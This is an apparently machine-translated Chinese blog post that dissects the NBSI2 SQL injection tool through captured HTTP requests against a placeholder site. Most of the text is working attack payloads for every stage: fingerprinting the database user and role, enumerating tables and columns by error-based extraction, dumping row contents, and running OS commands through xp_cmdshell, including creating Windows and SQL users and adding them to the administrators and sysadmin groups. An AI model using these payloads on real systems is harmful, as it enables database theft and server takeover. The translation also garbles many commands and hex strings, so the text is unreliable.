NBSI2 internal function realizes a big secret

xiaoxiao2021-03-06  14

NBSI2 internal function realizes a big secret

Since the time, SQL injection is very popular. The people who have used Xiaozhu's NB2 may know that this tool is close to invincible, and the rookie uses it to put a station to black, but do not understand the injection process can always be mentioned forever. Let's go ~~

First of all, I am just a rookie, just recently studying SQL, just studying the NB2 injection process, the tool WSE, I believe everyone will not be strange, I have to have the Internet, I will give an address, http: //www.gxgl.com/soft/wse06b1.zip, which is a program used to monitor and modify the network to send and receive data, which can be used to help you debug the web application.

Less nonsense, start, first find a SQL injection vulnerability to get a site www.testdb.net, find an injection point: http://www.testdb.net/Article_read.asp? Id = 80

Oh, www.testdb.net This website is of course not existent.

Procedure 1, get SQL Server Database Information

Open the NB2, enter the address: http://www.testdb.net/Article_read.asp? Id = 80, select the "GET" mode, click the "Detect" button to get the SQL Server database as follows:

Multi-sentence execution: unknown child query: Support current users: TEST User Permissions: DB_OWNER Current Library: TestDB

People who have used NB2 should be familiar with the above content ~~

% 20 is interpreted as space% 2B interpretation number,% 25 explained to%

HTTP / 1.1 200 ok // Return success HTTP / 1.1 500 Internal Server Error

Use WSE to detect GET package information as follows:

Get /article_read.asp?id=80 http / 1.1

GET /ATICLE_READ.ASP?id=80 and User+char (124 )=0 http / 1.1: article_read.asp? Id = 80 and user char (124) = 0 char (124) is character '|'

GET /ARTICLE_READ.ASP?id=80; Declare @a INT - http / 1.1: article_read.asp? Id = 80; declare @a int - // Decision support multiple queries

GET /ATICLE_READ.ASP ?ID=80 and (select count(1 ) From [sysobjects]) =0 http / 1.1accept: image / gif, image / x-xbitmap, image / jpeg, image / pjpeg, * / * User-Agent: Microsoft URL Control - 6.00.8862Host: www.testdb.netConnection: Keep-AliveCache-Control: no-cacheCookie: articleid = 80% 3Bdeclare % 40a int% 2D% 2D; ASPSESSIONIDSSTCTTQD = Ellnneidceeanbmokamgjged

That is: article_read.asp? Id = 80 and (select count (1) from [sysObjects])> = 0 // Judgment whether the subquerow

Get/article_read.asp?id=80 and User+char (124 )=0 http / 1.1accept: image / gif, image / x-xbitmap, image / jpeg, image / pjpeg, * / * user-agent: Microsoft URL Control - 6.00.8862Host: www.testdb.netConnection: Keep-AliveCache-Control: no-cacheCookie: articleid = 80 and % 28Select count% 281% 29 from % 5Bsysobjects% 5D% 29% 3E% 3D0; AskSESSIONIDSSTCTTQD = Ellnneidceeanbmokamgjged

That is: article_read.asp? Id = 80 and user char (124) = 0 // gets the current user user User is a built-in variable of SQL Server, and its value is the username currently connected, and the type is nvarchar. Take a nvarchar's value compare the number of int 0, the system will try to

NVARCHAR's value is turned into int type, and it will definitely be wrong during the transfer. Of course, the process will definitely be wrong in the process.

When you change the data type, a grammatical error occurs, huh, Oh, EAST_ASP is the value of the variable user, so that the power of the database is not scrapped. And User> 0

Get /article_read.asp?id=80 and cast (is_srvrolemember ") 90069006E00 ) AS varchar(1) ]+char (124)

= 1 http / 1.1accept: image / gif, image / x-xbitmap, image / jpeg, image / pjpeg, * / * user-agent: Microsoft URL Control - 6.00.8862Host: www.testdb.netconnection: Keep-alivecache- Control: no-cachecookie: articleid = 80 and % 28select count% 281% 29 from % 5bsysObjects% 5D% 29% 3E% 3D0;

AskSESSIONIDSSTCTTQD = Ellnneidceeanbmokamgjged

That is: article_read.asp? Id = 80 and casket (is_srvrolemember) (0x730079007300610064006D0069006E00) As varchar (1)) char (124) = 1

Function Description:

Is_srvroleMember indicates whether the current user login is a member of the specified server role.

Syntax IS_SRVROLEMBER ('role' [, 'login'])

The name of the server role of the parameter 'role' is checked. Role's data type is sysname. Role valid values ​​are: Sysadmin, Dbcreator, Diskadmin, Processadmin, ServerAdmin, Etupadmin, SecurityAdmin

'login'

The optional name of the login will be checked. Login's data type is sysname, the default value is NULL. If not specified, use the current user's login account. SELECT CAST (IS_SRVROLEMEMBER (0x730079007300610064006D0069006100) As varchar (1)) Char (124) result is "1 |"

GET /ATICLE_READ.ASP ?ID=80 and cast (intend " A0065007200 ) AS varchar (12 ) varchar (124 ) varchar (124 )=1

HTTP / 1.1ACCEPT: image / gif, image / x-xbitmap, image / jpeg, image / pjpeg, * / * user-agent: Microsoft URL Control - 6.00.8862Host: www.testdb.netconnection: Keep-alivecache-control: No-cachecookie: ArticleID = 80 and % 28select count% 281% 29 from % 5bsysObjects% 5D% 29% 3E% 3D0; aspsessionidsstcttqd = Ellnneidceeanbmokamgjged

That is: article_read.asp? Id = 80 and cast (is_member (0x640062005f006f0077006e0065007200) AS varchar (1)) char (124) = 1

SELECT CAST (IS_MEMBER (0x640062005007200) AS var (1)) char (124) The result is "1 |", and the result is the same, but pay attention

The long string in is_member is different from the above, I don't know what it means. 0x730079007300610064006d0069006E00 is transformed into "| o | @ e", this thought

It is a string of "sysadmin", but it seems not, forget it, don't want it, huh, but I think it should be the right to get the current user, such as: DB_OWNER

GET /ATICLE_READ.ASP?id=80 and db_name()+char (124 )=0 http / 1.1accept: image / gif, image / x-xbitmap, image / jpeg, image / pjpeg, * / * user- Agent: Microsoft URL Control - 6.00.8862Host: www.testdb.netConnection: Keep-AliveCache-Control: no-cacheCookie: articleid = 80 and % 28Select count% 281% 29 from % 5Bsysobjects% 5D% 29% 3E% 3D0;

AskSESSIONIDSSTCTTQD = Ellnneidceeanbmokamgjged

That is: article_read.asp? Id = 80 and db_name () char (124) = 0 This sentence, see there is a db_name () function, don't say more, everyone should know, db_name () is another system variable, The returned database name is returned.

At the time, the process of obtaining the SQL database information is calculated that the analysis is complete. In addition: The post method is no longer analyzed in detail. You can look at it yourself. Below is the package captured when the Post method is, the specific is basically the same as the GET method, mainly to see the last line information. Among them, many techniques are also used: as follows:

ID = 80% 20And% 20User% 2bchar (124) = 0ID = 80 '% 20and% 20User% 2bchar (124) = 0% 20And% 20' '=' ID = 80% 25 '% 20and% 20User% 2bchar (124 ) = 0% 20And% 20 '% 25' = 'ID = 80% 20and% 201 = 1 ID = 80% 20and% 201 = 2ID = 80'% 20And% 201 = 1% 20and% 20 '' = 'ID = 80 '% 20AND% 201 = 2% 20And% 20' '=' ID = 80% 25 '% 20and% 201 = 1% 20And% 20'% 25 '=' ID = 80% 25 '% 20and% 201 = 2% 20AND% 20 '% 25' = '

//

Process 2, guess the table name

TOP1

GET /ATICLE_READ.ASP?id=80 and (select top 1 cast (Name AS varchar(8000) ] FROM (SELECT top 1 ID ,NAME%

20FROM% 20 [TestDb] .. [Sysobjects]% 20where% 20XTYPE = CHAR (85)% 20ORDER% 20BY% 20ID)% 20T% 20ORDER% 20BY% 20ID% 20DESC)> 0 http / 1.1

That is: article_read.asp? Id = 80 and (select top 1 cast (Name As Varchar (8000)) from (SELECT TOP 1 ID, Name from [Testdb] .. [sysobjects] where xtype = char (85) Order By ID ) T ORDER BY ID DESC)> 0 char (85) = 'u'

The role is to obtain the table name of the first table of the TestDB database, and push TOP N with this class, you can get other table names.

TOP2

GET /ATICLE_READ.ASP?id=80 and (select top 1 cast(Name AS varchar(8000) ] FROM (SELECT top 2 ID ,NAME%

20FROM% 20 [TestDb] .. [Sysobjects]% 20where% 20XTYPE = CHAR (85)% 20ORDER% 20BY% 20ID)% 20T% 20ORDER% 20BY% 20ID% 20DESC)> 0 http / 1.1

...

TOPN

WSE captured package information:

GET /ATICLE_READ.ASP?id=80 and (select top 1 cast (Name AS varchar(8000) ] FROM (SELECT top 1 ID ,NAME%

20FROM% 20 [testdb] .. [sysobjects]% 20where% 20XTYPE = CHAR (85)% 20ORDER% 20BY% 20ID)% 20T% 20DER% 20BY% 20ID% 20DESC)> 0 http / 1.1accept: image / gif, Image / x-xbitmap, image / jpeg, image / pjpeg, * / * User-Agent: Microsoft URL Control - 6.00.8862Host: www.testdb.netConnection: Keep-AliveCache-Control: no-cacheCookie: ASPSESSIONIDSSTCTTQD = ELLNNEIDCEEANBMOKAMGJGED; articleid = 80 and % 28select count% 281% 29 from % 5BSYSObjects% 5D% 29% 3E% 3D0

...........

//

Process three, in accordance with a table name guess list name: Article

TOP1

Get /article_read.asp?id=80 and (select top 1 cast(Name AS varchar(8000 ) From (select top 1%

20Colid, Name% 20FROM% 20 [TestDb] .. [Syscolumns]% 20where% 20ID% 20 =% 20Object_ID (nchar (101)% 2BNCHAR (97)% 2BNCHAR (115)% 2BNCHAR (116)%

2BNCHAR (104)% 2BNCHAR (111)% 2BNCHAR (116)% 2BNCHAR (46)% 2BNCHAR (46)% 2BNCHAR (65)% 2BNCHAR (82)% 2BNCHAR (84)% 2BNCHAR (73)% 2BNCHAR (67)%

2BNCHAR (76)% 2BNCHAR (69))% 20RDER% 20BY% 20Colid)% 20t% 20RDER% 20BY% 20Colid% 20DESC)> 0 http / 1.1

That is: article_read.asp? Id = 80 and (SELECT TOP 1 CAST (Name AS VARCHAR (8000)) from (SELECT TOP 1 Colid, Name from [Testdb] .. [syscolumn] where id = Object_id (nchar (101) Nchar (97) nchar (115) nchar (116) nchar (104) nchar (111) nchar (116) nchar (46) nchar (46) nchar (65) nchar (82) Nchar (84) nchar (73) nchar (67) nchar (76) nchar (69)) ORDER BY Colid) T ORDER BY Colid Desc)> 0

The role is to obtain the column name of the first column of the Article table, and push TOP N with this class, and other column names can be obtained.

Function Description:

Object_id returns the database object identification number.

Syntax Object_ID ('Object')

Parameter 'Object' To use the object. Object's data type is char or Nchar. If the data type of Object is char, it is hidden to convert it to nchar.

Return Type INT

Nchar (101) nchar (97) nchar (115) nchar (116) nchar (104) nchar (111) nchar (116) nchar (46) nchar (46) nchar (65) Nchar (82) nchar (84) nchar (73) NCHAR (67) NCHAR (76) NCHAR (69) corresponds to string testdb..Aticle

That is: article_read.asp? Id = 80 and (SELECT TOP 1 CAST (SELECT TOP 1 Colid, Name from [Testdb] .. [Syscolumn] where id = Object_id ('testdb .. Article ') Order By Colid) T ORDER BY Colid Desc)> 0

TOP2

Get /article_read.asp?id=80 and (select top 1 cast (Name AS varchar(8000 ) From (select top 2%

20Colid, Name% 20FROM% 20 [TestDb] .. [Syscolumns]% 20where% 20ID% 20 =% 20Object_ID (nchar (101)% 2BNCHAR (97)% 2BNCHAR (115)% 2BNCHAR (116)%

2BNCHAR (104)% 2BNCHAR (111)% 2BNCHAR (116)% 2BNCHAR (46)% 2BNCHAR (46)% 2BNCHAR (65)% 2BNCHAR (82)% 2BNCHAR (84)% 2BNCHAR (73)% 2BNCHAR (67)%

2BNCHAR (76)% 2BNCHAR (69))% 20RDER% 20BY% 20Colid)% 20t% 20RDER% 20BY% 20Colid% 20DESC)> 0 http / 1.1

TOPN

...

WSE captured package information:

Get /article_read.asp?id=80 and (select top 1 cast(Name AS varchar(8000 ) From (select top 1%

20Colid, Name% 20FROM% 20 [TestDb] .. [Syscolumns]% 20where% 20ID% 20 =% 20Object_ID (nchar (101)% 2BNCHAR (97)% 2BNCHAR (115)% 2BNCHAR (116)%

2BNCHAR (104)% 2BNCHAR (111)% 2BNCHAR (116)% 2BNCHAR (46)% 2BNCHAR (46)% 2BNCHAR (65)% 2BNCHAR (82)% 2BNCHAR (84)% 2BNCHAR (73)% 2BNCHAR (67)%

2BNCHAR (76)% 2BNCHAR (69))% 20RDER% 20BY% 20Colid)% 20t% 20RDER% 20BY% 20Colid% 20DESC)> 0 http / 1.1accept: image / gif, image / x-xbitmap, image / jpeg, Image / pjpeg, * / * User-Agent: Microsoft URL Control - 6.00.8862Host: www.testdb.netConnection: Keep-AliveCache-Control: no-cacheCookie: ASPSESSIONIDSSTCTTQD = ELLNNEIDCEEANBMOKAMGJGED; articleid = 80 and % 28Select count% 281% 29 from % 5BSYSObjects% 5D% 29% 3E% 3D0

...............

//

Procedure four, specify the content according to the column name

Field name: Title

TOP1

GET /ATICLE_READ.ASP?id=80 and (select top 1 20ISNULL (Cast ([Title] AS varchar (8000)), CHAR (32 )+char(124 )%

20FROM% 20 (SELECT% 20top% 201% 20 [Title]% 20FROM% 20 [TestDB] .. [Article]% 20where% 201 = 1% 20RDER% 20BY% 20 [Title])% 20T% 20ORDER% 20BY% 20

[Title]% 20Desc)> 0 http / 1.1

That is: article_read.asp? Id = 80 and (Select Top 1 isnull (CAST ([Title] As Varchar (8000)), Char (32)) CHAR (124) from (SELECT TOP 1 [Title] from [testdb] .. [articles] Where 1 = 1 Order by [title]) T ORDER BY [TITLE] DESC)> 0

The role is to obtain the value of the first row record of the Title field, and push TOP N in this class, and the value of other rows can be obtained.

TOP2

GET /ATICLE_READ.ASP?id=80 and (select top 1 20ISNULL (Cast ([Title] AS varchar (8000)), CHAR (32 )+char(124 )%

20FROM% 20 (SELECT% 20top% 202% 20 [Title]% 20FROM% 20 [testdb] .. [article]% 20where% 201 = 1% 20RDER% 20BY% 20 [Title])% 20T% 20RDER% 20BY% 20

[Title]% 20Desc)> 0 http / 1.1

TOPN

...

WSE captured package information:

// Get the number of records of the Article table get /article_read.asp?id=80 and (select cast(count (1) AS varchar(8000 )%+char(124 ) From [testdb] .. [Article]%

20where% 201 = 1)> 0 http / 1.1accept: image / gif, image / x-xbitmap, image / jpeg, image / pjpeg, * / * user-agent: Microsoft URL Control - 6.00.8862Host: www.testdb. netConnection: Keep-AliveCache-Control: no-cacheCookie: ASPSESSIONIDSSTCTTQD = ELLNNEIDCEEANBMOKAMGJGED; articleid = 80 and % 28Select count% 281% 29 from % 5Bsysobjects% 5D% 29% 3E% 3D0

/ / Get the first record content of the Title field of the article table

GET /ATICLE_READ.ASP?id=80 and (select top 1 20ISNULL (Cast ([Title] AS varchar (8000)), CHAR (32 )+char(124 )%

20FROM% 20 (SELECT% 20top% 201% 20 [Title]% 20FROM% 20 [TestDB] .. [Article]% 20where% 201 = 1% 20RDER% 20BY% 20 [Title])% 20T% 20ORDER% 20BY% 20

[Title]% 20Desc)> 0 http / 1.1accept: image / gif, image / x-xbitmap, image / jpeg, image / pjpeg, * / * user-agent: Microsoft URL Control - 6.00.8862Host: www.testdb. netConnection: Keep-AliveCache-Control: no-cacheCookie: ASPSESSIONIDSSTCTTQD = ELLNNEIDCEEANBMOKAMGJGED; articleid = 80 and % 28Select count% 281% 29 from % 5Bsysobjects% 5D% 29% 3E%

3D0

...............

//

At this point, the analysis of the table name, field name and field content is basically over, and then look at other main functions.

Procedure 5, execute DOS commands and execute SQL statements

Execute DOS command DIR C: /

Vision capture analysis:

GET /ATICLE_READ.ASP?id=80 and db_name()+char (124 )=0 http / 1.1accept: image / gif, image / x-xbitmap, image / jpeg, image / pjpeg, * / * user- Agent: Microsoft URL Control - 6.00.8862Host: www.testdb.netConnection: Keep-AliveCache-Control: no-cacheCookie: ASPSESSIONIDSSTCTTQD = ELLNNEIDCEEANBMOKAMGJGED; articleid = 80 and % 28Select count% 281% 29 from % 5Bsysobjects% 5D% 29% 3E%

3D0

GET /ATICLE_READ.ASP ?ID=80 ;ec master..xp_cmdshell 0'dir c:/% More 20020c:/nb_commander_txt.log';Drop Table%

20NB_Commander_Tmp; CREATE% 20TABLE% 20NB_Commander_Tmp (ResultTxt% 20varchar (7996)% 20NULL); BULK% 20INSERT% 20 [testdb] .. [NB_Commander_Tmp]% 20FROM% 20'C: /NB_Commander_Txt.log' WITH (KEEPNULLS) ; Alter% 20table% 20NB_Commander_TMP% 20ADD% 20ID%

20INT% 20NOT% 20null% 20Identity% 20 (1, 1) - http / 1.1accept: image / gif, image / x-xbitmap, image / jpeg, image / pjpeg, * / * user-agent: Microsoft URL Control - 6.00.8862Host: www.testdb.netConnection: Keep-AliveCache-Control: no-cacheCookie: ASPSESSIONIDSSTCTTQD = ELLNNEIDCEEANBMOKAMGJGED; articleid = 80 and % 28Select count% 281% 29 from % 5Bsysobjects% 5D% 29% 3E%

3D0

Mainly this:

? Article_read.asp id = 80; EXEC MASTER..XP_CMDSHELL 'Dir C: /> C: /NB_Commander_Txt.log'; DROP TABLE NB_Commander_Tmp; CREATE TABLE NB_Commander_Tmp (ResultTxt varchar (7996) NULL); BULK INSERT [testdb] .. [NB_COMMANDER_TMP] from 'c: /nb_commander_txt.log' with (KeepnUlls); alter table nb_commander_tmp address Int not null Identity% 20 (1, 1) -

Bulk INSERT replicates a data file to the database table or view in the format specified by the user. KeepnUlls Specifies a null value in a large-capacity replication operation, rather than assigns the default value to the inserted column. For details, please check the T-SQL syntax, which is described in detail.

The function of the above statement is to save the DOS command DIR C: / out of the file nb_commander_txt.log, then write the contents of this file to the new temporary table

NB_Commander_TMP, and add a self-growth field ID, I believe everyone is easy to understand.

ID = 1

Get /article_read.asp?id=80 and (select top 1 case when Resulttxt 200null Then 0'|' 2020En Resulttxt%

2b '|'% 20END% 20FROM% 20NB_Commander_TMP% 20where% 20ID = 1) = 0 http / 1.1accept: image / gif, image / x-xbitmap, image / jpeg, image / pjpeg, * / * user-agent: Microsoft URL Control - 6.00.8862Host: www.testdb.netConnection: Keep-AliveCache-Control: no-cacheCookie: ASPSESSIONIDSSTCTTQD = ELLNNEIDCEEANBMOKAMGJGED; articleid = 80% 3BEXEC MASTER% 2E% 2EXP% 5FCMDSHELL % 27Dir C% 3A% 5C % 3E C% 3A% 5CNB% 5Fcommander% 5FTXT% 2ELOG% 27% 3BDrop Table NB% 5Fcommander% 5FTMP% 3BCREATE TABLE NB% 5Fcommander% 5FTMP%

28Resulttxt varchar% 287996% 29 NULL% 29% 3BBULK INSERT % 5BtestDB% 5D% 2E% 2E% 5BNB% 5FCommander% 5FTMP% 5D from % 27C% 3A% 5CNB%

5Fcommander% 5FTXT% 2ELOG% 27 with % 28keepnulls% 29% 3Balter Table NB% 5FCommander% 5FTMP Add ID INT NOT NULL IDENTITY % 281% 2C1% 29%

2D% 2D

That is: article_read.asp? Id = 80 and (select top 1 case when the resultttxtX null dam | 'Else Resulttxt ' | 'end from nb_commander_tmp where id = 1) = 0

Enter the first echo results, the following, TOPN inputs all echo results.

ID = 2

Get /article_read.asp?id=80 and (select top 1 case when Resulttxt 200null Then 0'|' 2020En Resulttxt%

2b '|'% 20END% 20FROM% 20NB_Commander_TMP% 20where% 20ID = 2) = 0 http / 1.1accept: image / gif, image / x-xbitmap, image / jpeg, image / pjpeg, * / * user-agent: Microsoft URL Control - 6.00.8862Host: www.testdb.netConnection: Keep-AliveCache-Control: no-cacheCookie: ASPSESSIONIDSSTCTTQD = ELLNNEIDCEEANBMOKAMGJGED; articleid = 80% 3BEXEC MASTER% 2E% 2EXP% 5FCMDSHELL % 27Dir C% 3A% 5C % 3E C%

3A% 5CNB% 5FCommander% 5FTxt% 2Elog% 27% 3BDROP TABLE NB% 5FCommander% 5FTmp% 3BCREATE TABLE NB% 5FCommander% 5FTmp% 28ResultTxt varchar% 287996% 29 NULL% 29% 3BBULK INSERT % 5Btestdb% 5D% 2E% 2E% 5BNB% 5Fcommander% 5FTMP% 5D from % 27C% 3A% 5CNB%

5Fcommander% 5FTXT% 2ELOG% 27 with % 28keepnulls% 29% 3Balter Table NB% 5FCommander% 5FTMP Add ID INT NOT NULL IDENTITY % 281% 2C1% 29%

2D% 2D

ID = N

...............

Output display: [unexpected output] [unexpected output] [unexpected output] [accidental output] [accidental output] [accident output] [accident output] [accident output] [accident output] ....... .

If there is no problem normally, all files C: / down, the above prompt appears, the reason is that the data table NB_COMMANDER_TMP has not created success, so it cannot be output correctly.

Do not return to the capture package analysis: DOS command DIR C: /

GET /ATICLE_READ.ASP ?ID=80 ;ec master..xp_cmdshell 'dir c:/ '- http / 1.1accept: image / gif, image / x-xbitmap, image / jpeg, image / pjpeg, * / * User-Agent: Microsoft URL Control - 6.00.8862Host: www.testdb.netConnection: Keep-AliveCache-Control: no-cacheCookie: ASPSESSIONIDSSTCTTQD = ELLNNEIDCEEANBMOKAMGJGED; articleid = 80% 3BDROP TABLE NB% 5FCommander% 5FTmp% 3BEXEC Master% 2e% 2exp%

5FCMDSHELL % 27DEL C% 3A% 5CNB% 5Fcommander% 5FTXT% 2ELOG% 27% 2D% 2D

That is: article_read.asp? Id = 80; exec master "" Dir C: / '- does not need to display output results.

Output display: command execution completion

DOS command: net user tsinternetUsers Password / add

GET /ATICLE_READ.ASP ?ID=80 ;EC Master..net User TsInterNetUsers Password /Add' - http / 1.1accept: image / gif, image / x-xbitmap, image / jpeg, image / pjpeg, * / * User-Agent: Microsoft URL Control - 6.00.8862Host: www.testdb.netConnection: Keep-AliveCache-Control: no-cacheCookie: ASPSESSIONIDSSTCTTQD = ELLNNEIDCEEANBMOKAMGJGED; articleid = 80% 3BEXEC MASTER% 2E % 2EXP% 5FCMDSHELL % 27DIR C% 3A% 5C% 27% 2D% 2D Execute other DOS commands. ID = 80; exec master user tsinternetUsers password / add '- id = 80; exec master@xp_cmdshell' net localgroup administrators tsinternetUsers / add '-

Execute SQL commands (with execution dos command)

GET /ARTICLE_READ.ASP ?ID=80 ;Ec master..sp_addlogin USERNAME, Password - http / 1.1accept: image / gif, image / x-xbitmap, image / jpeg, image / pjpeg, * / * user- Agent: Microsoft URL Control - 6.00.8862Host: www.testdb.netConnection: Keep-AliveCache-Control: no-cacheCookie: ASPSESSIONIDSSTCTTQD = ELLNNEIDCEEANBMOKAMGJGED; articleid = 80% 3BEXEC MASTER% 2E% 2EXP% 5FCMDSHELL %

27NET User TsinterNetUsers Password % 2FADD% 27% 2D% 2D

ID = 80; exec master..sp_addlogin username, password - id = 80; exec master..np_addsrvrolemember username, sysadmin --....

At this point, the main function analysis of NB2 is complete, and other functions can analyze themselves. The first time I write such a long article, it may be very chaotic, but there must be many problems, but there is really no energy.

I'm going to modify, I hope everyone can understand. Thank you!

转载请注明原文地址:https://www.9cbs.com/read-49715.html

New Post(0)